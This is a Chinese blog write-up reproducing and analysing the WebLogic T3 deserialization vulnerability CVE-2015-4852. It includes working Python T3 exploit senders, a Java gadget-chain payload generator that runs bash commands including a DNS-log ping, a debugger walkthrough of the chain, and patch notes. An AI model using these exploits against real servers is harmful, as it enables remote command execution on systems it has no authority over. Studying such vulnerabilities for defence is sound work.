CVE-2015-4852-Weblogic反序列化漏洞复现与分析


1.漏洞本质

​ 该漏洞本质上是由Apache Commons Collections导致的反序列化漏洞,与weblogic实际无关,只是weblogic组件中正好用到了该库,且路径为\modules\com.bea.core.apache.commons.collections_3.2.0.jar。

2.漏洞描述

  • 官方描述

    The WLS Security component in Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0 allows remote attackers to execute arbitrary commands via a crafted serialized Java object in T3 protocol traffic to TCP port 7001, related to oracle_common/modules/com.bea.core.apache.commons.collections.jar. NOTE: the scope of this CVE is limited to the WebLogic Server product.

  • 对应中文

    Oracle WebLogic Server 10.3.6.0、12.1.2.0、12.1.3.0 和 12.2.1.0 中的 WLS 安全组件允许远程攻击者通过 T3 协议流量中精心设计的序列化 Java 对象执行任意命令,该对象与 oracle_common/modules/com.bea.core.apache.commons.collections.jar。注意:此 CVE 的范围仅限于 WebLogic Server 产品。

  • 可知信息

    漏洞影响的版本为:Oracle WebLogic Server 10.3.6.0、12.1.2.0、12.1.3.0 和 12.2.1.0

    漏洞类型为:反序列化漏洞

    漏洞代码发生位置:oracle_common/modules/com.bea.core.apache.commons.collections.jar

3.漏洞复现

漏洞exp

漏洞exp一:(需配合ysoserial工具生成payload,具体命令见代码注释)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python
# coding: utf-8

import socket
import struct

def exp(host, port):

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (host, int(port))
data = ""
try:
sock.connect(server_address)
# Send headers
headers = 't3 12.2.1nAS:255nHL:19nn'.format(port)
sock.sendall(headers)
data = sock.recv(2)
# java -jar ysoserial.jar CommonsCollections1 "touch /tmp/exp" > ./tmp
f = open('./tmp', 'rb')
payload_obj = f.read()
f.close()
payload1 = "000005ba016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000".decode('hex')
payload3 = "aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870774b210000000000000000000d31302e3130312e3137302e3330000d31302e3130312e3137302e33300f0371a20000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870771d01a621b7319cc536a1000a3137322e31392e302e32f7621bb50000000078".decode('hex')
payload2 = payload_obj
payload = payload1 + payload2 + payload3

payload = struct.pack('>I', len(payload)) + payload[4:]

sock.send(payload)
data = sock.recv(4096)
except socket.error as e:
print (u'socket 连接异常!')
finally:
sock.close()

exp('192.168.22.137', 7001)
  • 漏洞exp二:(Java代码生成payload,T3协议发送payload到目标服务器)
  1. 生成payload的代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.LazyMap;

    import java.io.FileOutputStream;
    import java.io.IOException;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.InvocationHandler;
    import java.lang.reflect.InvocationTargetException;
    import java.lang.reflect.Proxy;
    import java.util.HashMap;
    import java.util.Map;

    public class cve_2015_4852 {
    public static void main(String[] args) throws NoSuchMethodException, ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
    String cmd = "ping xys3si.dnslog.cn";
    Transformer[] tarray = new Transformer[]
    {
    new ConstantTransformer( Runtime.class ),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/bash", "-c", cmd}})
    };
    Transformer tchain = new ChainedTransformer( tarray );
    Map normalMap = new HashMap();
    Map lazyMap = LazyMap.decorate( normalMap, tchain );
    Class clazz = Class.forName( "sun.reflect.annotation.AnnotationInvocationHandler" );
    Constructor cons = clazz.getDeclaredConstructor( Class.class, Map.class );
    cons.setAccessible( true );
    InvocationHandler ih = ( InvocationHandler )cons.newInstance( Override.class, lazyMap );
    Map mapProxy = ( Map ) Proxy.newProxyInstance
    (
    Map.class.getClassLoader(),
    new Class[] { Map.class },
    ih
    );
    Object obj = cons.newInstance( Override.class, mapProxy );

    FileOutputStream fileOutputStream = new FileOutputStream("CVE_2015_4852.ser");
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
    objectOutputStream.writeObject(obj);
    objectOutputStream.close();

    }
    }
  2. 发送payload到目标服务器代码(有时候可能需要修改headers中的版本才能发送成功)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    #!/usr/bin/python
    import socket
    import os
    import sys
    import struct

    if len(sys.argv) < 3:
    print 'Usage: python %s <host> <port> </path/to/payload>' % os.path.basename(sys.argv[0])
    sys.exit()

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(5)

    server_address = (sys.argv[1], int(sys.argv[2]))
    print '[+] Connecting to %s port %s' % server_address
    sock.connect(server_address)

    # Send headers
    headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
    print 'sending "%s"' % headers
    sock.sendall(headers)

    data = sock.recv(1024)
    print >>sys.stderr, 'received "%s"' % data

    payloadObj = open(sys.argv[3],'rb').read()

    payload='\x00\x00\x09\xf3\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00'
    payload=payload+payloadObj
    payload=payload+'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78'

    # adjust header for appropriate message length
    payload=struct.pack('>I',len(payload)) + payload[4:]

    print '[+] Sending payload...'
    sock.send(payload)
    data = sock.recv(1024)
    print >>sys.stderr, 'received "%s"' % data
    复现结果

    以漏洞exp2为例,利用漏洞向目标服务器发送payload后的执行结果如下图所示。

    1
    2
    #payload执行的命令为ping xys3si.dnslog.cn
    python2 weblogic_t3.py 192.168.22.137 7001 CVE_2015_4852.ser

    image-20210616164435430

4.原理分析

4.1 分析sink触发点

接下来跟进代码对漏洞进行分析,因为我们已经定位该漏洞所在的jar包,因此直接将该jar包添加为库,发送exp启用远程调试进行分析。

image-20210616171954782

首先分析sink点函数,在Collections组件中提供了一个非常重要的类: org.apache.commons.collections.functors.InvokerTransformer,这个类实现了:java.io.Serializable接口。

image-20210616172447432

InvokerTransformer类同时也实现了org.apache.commons.collections.Transformer接口,Transformer提供了一个对象转换方法:transform,主要用于将输入对象转换为输出对象。InvokerTransformer类的主要作用就是利用Java反射机制来创建类实例。

1
2
3
4
5
6
//input为我们可控的类,payload中传入了java.lang.Runtime
Class cls = input.getClass();
//反射获取方法名,其中iMethodName为方法名,iParamTypes为该方法的参数类型
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
//反射执行方法,iArgs为具体执行的命令,for example:ping XXX
return method.invoke(input, this.iArgs);

由上可知,我们可以通过InvokerTransformer的构造方法,传入我们想要的某个类的方法名,参数类型,具体的参数值,从而执行相应的方法,构造函数如下:

1
2
3
4
5
6
7
8
9
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
//payload中的使用方法
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/bash", "-c", cmd}})

因为我们要执行的方法属于java.lang.Runtime类对象,因此首先需要传入的便是java.lang.Runtime这个类对象,ConstantTransformer类是Transformer接口的实现类,其中ConstantTransformer类重写了接口类的transformer方法

image-20210617102302328

对应payload为:

1
new ConstantTransformer( Runtime.class )

通过ConstantTransformer类的transform方法获取一个对象类型,如transform参数是Runtime.class时,调用ConstantTransformer类的transform方法,执行后返回java.lang.Runtime

org.apache.commons.collections.functors.ChainedTransformer类实现了Transformer链式调用,我们只需要传入一个Transformer数组ChainedTransformer就可以实现依次的去调用每一个Transformertransform方法。

image-20210617103415942

对应payload为:

1
2
3
4
5
6
7
Transformer[] tarray = new Transformer[]
{
new ConstantTransformer( Runtime.class ),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/bash", "-c", cmd}})
};
4.2 ChainedTransformertransform下断点分析

因此,第一次我们在transform下断点,跟进代码流程如下:

image-20210617103949123

下一步,input为entrySet的值,返回的object的值是java.lang.Runtime

image-20210617104048237

下一步,i的值+1,Object为java.lang.Runtime,进入InvokerTransformertransform方法,判断input是否为空,此处不为空,所以进入else所在语句,下一步;

image-20210617104804045

方法名getMethod,传入参数类型为String.class, Class[].class,通过method.invoke方法,相当于执行下面的语句

1
2
3
4
method = java.lang.Runtime.getMethod("getMethod",new Class[]{String.class, Class[].class})
method.invoke(java.lang.Runtime,new Object[]{"getRuntime", new Class[0]})
//等价于:
java.lang.Runtime.getMethod(new Object[]{"getRuntime", new Class[0]})

image-20210617105102893

继续跟进,i的值为2,object的值已经变成了java.lang.Runtime.getRuntime()

image-20210617105922549

相当于执行了下面的语句

1
2
3
4
method = java.lang.Runtime.getRuntime().getMethod("invoke",new Class[]{Object.class, Object[].class})
method.invoke(java.lang.Runtime.getRuntime(),new Object[]{null, new Object[0]})
//等价于:
java.lang.Runtime.getRuntime().invoke(new Object[]{null, new Object[0]})

image-20210617110134798

经过上面的步骤就获取了Runtime的实例,同时i=3

image-20210617111707092

最后一次,获取exec方法,相当于执行下面的命令

1
2
3
4
method = runtime.getMethod("exec",new Class[]{String[].class})
method.invoke(runtime,new Object[]{new String[]{"/bin/bash", "-c", cmd}})
//等价于:
runtime.exec(new Object[]{new String[]{"/bin/bash", "-c", cmd}})

image-20210617111842366

最后,返回一个运行中的进程,执行了传入命令

image-20210617112744335

4.3 分析如何触发sink调用链

现在我们已经使用InvokerTransformer创建了一个含有恶意调用链的Transformer类的对象,紧接着我们应该思考如何才能够将调用链窜起来并执行,即如何通过某个类的某个方法触发transform()方法。通过分析代码发现调用transform()方法有以下两个类:

  • TransformedMap(setValue ==> checkSetValue ==> valueTransformer.transform(value),请自行跟进代码)
  • LazyMap

限于篇幅内容,由于commons collections的触发方法多种多样,感兴趣的读者可以研究ysoserial工具源码进行学习。本文主要从所使用的payload出发,以LazyMap为例进行讲解。

image-20210617144453218

LazyMap实现了Map与Serializable接口,由于需要触发的是transform方法,因此需要找到一个函数能够调用transform方法,查看源代码,发现LazyMap的get方法会调用transform方法,且调用者是this.factory(正好是Transformer对象)

image-20210617145059697

跟进factory,可以发现,该变量是final修饰的Transformer变量,且可以通过调用public static Map decorate(Map map, Transformer factory)返回一个LazyMap的实例,为factory赋值为ChainedTransformer的对象,从而间接触发命令执行

image-20210617171045930

4.4 LazyMap的get方法下断点调试

image-20210617172910549

调用ChainedTransformer的transform方法执行,执行过程同4.2,在此不再阐述。

image-20210617173136533

4.5 分析source入口函数

经过上面的分析,我们已经知道除了source入口之外的调用链:

1
2
3
4
5
6
7
8
9
10
11
12
->LazyMap.get()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InvokerTransformer.transform()
->Method.invoke()
->Class.getMethod()
->InvokerTransformer.transform()
->Method.invoke()
->Runtime.getRuntime()
->InvokerTransformer.transform()
->Method.invoke()
->Runtime.exec()

那么,现在剩下的工作就是找一个source入口函数,使得当服务器端进行反序列化,即执行readObject()函数的时候能够自动触发整个调用链,而不是我们自己手动触发。

那么需要找一个什么样的类呢,这里主要从LazyMap的get方法出发去找,为了能够调用LazyMap.get方法,首先这个类必定有一个属性是Map类型的,且这个类至少也是实现了Serializable类的。

经过一番寻找,找到了AnnotationInvocationHandler,该类是java运行库中的一个类,并且包含一个可控的Map对象属性memberValues,其readObject方法有自动修改自身Map属性的操作。因此,我们可以尝试找该属性调用get方法的地方,这样一旦将memberValues设置为LazyMap的实例,就会触发LazyMap的get方法,进一步触发命令执行

image-20210618105813401

可以看到AnnotationInvocationHandler实现了InvocationHandler接口,其中的invoke方法会触发get方法的执行,因此,此时就会自然而然想到如何执行invoke方法呢?那就不得不说一下动态代理技术。

动态代理比较常见的用处就是:一方面是代为执行具体类实例的方法,另一方面则在不修改类的源码的情况下,通过代理的方式为类的方法提供更多的功能。


一个简单的demo如下:(示例代码出处:https://www.freebuf.com/articles/web/214096.html)

Work接口需要实现work函数

1
2
3
public interface Work {
public String work();
}

Teacher类实现了Work接口

1
2
3
4
5
6
7
public class Teacher implements Work{
@Override
public String work() {
System.out.println("my work is teach students");
return "Teacher";
}
}

WorkHandler用来处理被代理对象,它必须继承InvocationHandler接口,并实现invoke方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
public class WorkHandler implements InvocationHandler{
//代理类中的真实对象
private Object obj;
//构造函数,给我们的真实对象赋值
public WorkHandler(Object obj) {
this.obj = obj;
}
/**
* proxy:代表动态代理对象
* method:代表正在执行的方法
* args:代表调用目标方法时传入的实参
*/
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
//在真实的对象执行之前我们可以添加自己的操作
System.out.println("before invoke。。。");
//java的反射功能,用来调用obj对象的method方法,传入参数为args
Object invoke = method.invoke(obj, args);
//在真实的对象执行之后我们可以添加自己的操作
System.out.println("after invoke。。。");
return invoke;
}
}

在Test类中通过Proxy.newProxyInstance创建动态代理对象proxy,这样当我们调用代理对象proxy的work方法的时候,实际上调用的是WorkHandler的invoke方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class Test {
public static void main(String[] args) {
//要代理的真实对象
Work people = new Teacher();
//代理对象的调用处理程序,我们将要代理的真实对象传入代理对象的调用处理的构造函数中,
//最终代理对象的调用处理程序会调用真实对象的方法
InvocationHandler handler = new WorkHandler(people);
/**
* 通过Proxy类的newProxyInstance方法创建代理对象,我们来看下方法中的参数
* 第一个参数:people.getClass().getClassLoader(),使用handler对象的classloader对象来加载我们的代理对象
* 第二个参数:people.getClass().getInterfaces(),这里为代理类提供的接口是真实对象实现的接口,
这样代理对象就能像真实对象一样调用接口中的所有方法
* 第三个参数:handler,我们将代理对象关联到上面的InvocationHandler对象上
*/
Work proxy = (Work)Proxy.newProxyInstance(people.getClass().getClassLoader(), people.getClass().getInterfaces(), handler);
System.out.println(proxy.work());
}
}

看一下输出结果,我们再没有改变Teacher类的前提下通过代理Work接口,实现了work函数调用的重写。

1
2
3
4
before invoke。。。
my work is teach students
after invoke。。。
Teacher

综上所述:Proxy.newProxyInstance(people.getClass().getClassLoader(), people.getClass().getInterfaces(), handler);则是实现创建了一个接口的动态代理类及动态代理类对象,并指明了三个参数:用哪个类加载器加载这个类,该动态代理类实现了该接口所有方法,当调用接口中实现的任意方法时由谁去处理被代理对象(invoke方法);

针对上例,则是创建了一个代理了Work接口的动态代理类,当动态代理类对象proxy调用所代理接口Work中的任意方法时都会进入WorkHandler的invoke方法去执行被代理对象的方法及其他相应操作,这里被代理的实际对象为Teacher,因此会执行Teacher的work方法。

在java的java.lang.reflect包下提供了一个Proxy类和一个InvocationHandler接口,通过这个类和这个接口可以生成JDK动态代理类和动态代理对象。生成动态代理类及对象的方法如下:(代码中涉及的Person接口类仅仅是一个示例)。

1
2
3
4
//创建一个与代理对象相关联的InvocationHandler
InvocationHandler stuHandler = new MyInvocationHandler<Person>(stu);
//创建一个代理对象stuProxy,代理对象的每个执行方法都会替换执行Invocation中的invoke方法
Person stuProxy= (Person) Proxy.newProxyInstance(Person.class.getClassLoader(), new Class<?>[]{Person.class}, stuHandler);

有关动态代理与静态代理更多的内容介绍,请参考:java动态代理实现与原理详细分析,本文不做具体阐述。


言归正传,回到我们所使用的payload,其生成的代理类的代码如下:

因为sun.reflect.annotation.AnnotationInvocationHandler是一个内部API专用的类,在外部我们无法通过类名创建出AnnotationInvocationHandler类实例,所以我们需要通过反射的方式创建出AnnotationInvocationHandler对象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//通过Java反射获取AnnotationInvocationHandler类对象
Class clazz = Class.forName( "sun.reflect.annotation.AnnotationInvocationHandler" );
//获取AnnotationInvocationHandler的构造方法
Constructor cons = clazz.getDeclaredConstructor( Class.class, Map.class );
//设置构造方法访问权限
cons.setAccessible( true );
//创建一个与代理对象相关联的InvocationHandler,设置的同时this.memberValues = lazyMap;
InvocationHandler ih = ( InvocationHandler )cons.newInstance( Override.class, lazyMap );
//创建一个代理对象mapProxy来代理Map类接口,代理对象的每个执行方法都会替换执行InvocationHandler中的invoke方法
Map mapProxy = ( Map ) Proxy.newProxyInstance
(
Map.class.getClassLoader(),
new Class[] { Map.class },
ih
);
//创建一个AnnotationInvocationHandler的实例用于序列化,并将this.memberValues = mapProxy;
Object obj = cons.newInstance( Override.class, mapProxy );

这样当执行反序列化操作的时候,会自动调用this.memberValues.entrySet()方法,如下图所示

image-20210618161620515

这样,由于是动态代理类,当调用mapProxy的entrySet方法时,会自动进入AnnotationInvocationHandler的invoke方法,进行判断

从而执行lazyMap的get方法

image-20210618162947240

至此,整个链全部打通,完整的调用链如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
4.6 AnnotationInvocationHandler.readObject()下断点调试

在source入口点下断点远程调试如下:

image-20210618163746078

F5进入,下一步

image-20210618163841814

开始调用mapProxy的entrySet方法

image-20210618164003656

image-20210618165056782

下一步进入invoke方法,这里var2=java.util.Set java.util.Map.entrySet(),var1是mapProxy,

image-20210618170432886

因此var4的值不会进入if,会进入else

image-20210618171209766

进入else后再次判断var4的值,则进入Object var6所在代码

image-20210618171338456

此时,因为this.memberValues被设置为lazyMap,因此触发了lazyMap的get方法,相当于执行了lazyMap.get(“entrySet”)

image-20210618171747895

image-20210618171817282

从而进入了get方法

image-20210618171952142

判断是否包含这个key,进入59行

image-20210618172724474

执行transform,相当于执行ChainedTransform.transform(“entrySet”)

image-20210618172825365

最终调用命令执行

image-20210618173140861

image-20210618173202233

image-20210618173222136

image-20210618173240794

此时已经完成命令执行

image-20210618173308466

至此,整个执行过程和自动过程分析完成。

5.漏洞修复

​ 该部分摘自https://blog.csdn.net/simonnews/article/details/105765017,

  1. ApacheCommons Collections组件修复:ApacheCommons Collections已经在3.2.2版本中做了修复,对这些不安全的Java类的序列化支持增加开关,默认为关闭状态,涉及的类包括CloneTransformer, ForClosure, InstantiateFactiory,InstantiateTransformer,InvokerTransformer,PrototypeCloneFactory,PrototypeSerialiZationFactory,WhileClosure。

  2. weblogic修复补丁:CVE-2015-4852补丁主要应用在三个位置上,主要是进行黑名单绕过

    2020051423503659

6.参考文献

-------- 本文结束 感谢阅读 --------

本文标题:CVE-2015-4852-Weblogic反序列化漏洞复现与分析

文章作者:FunctFan

发布时间:2021年06月16日 - 03:57:02

最后更新:2021年06月18日 - 05:56:11

原始链接:https://functfan.github.io/posts/754158022/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。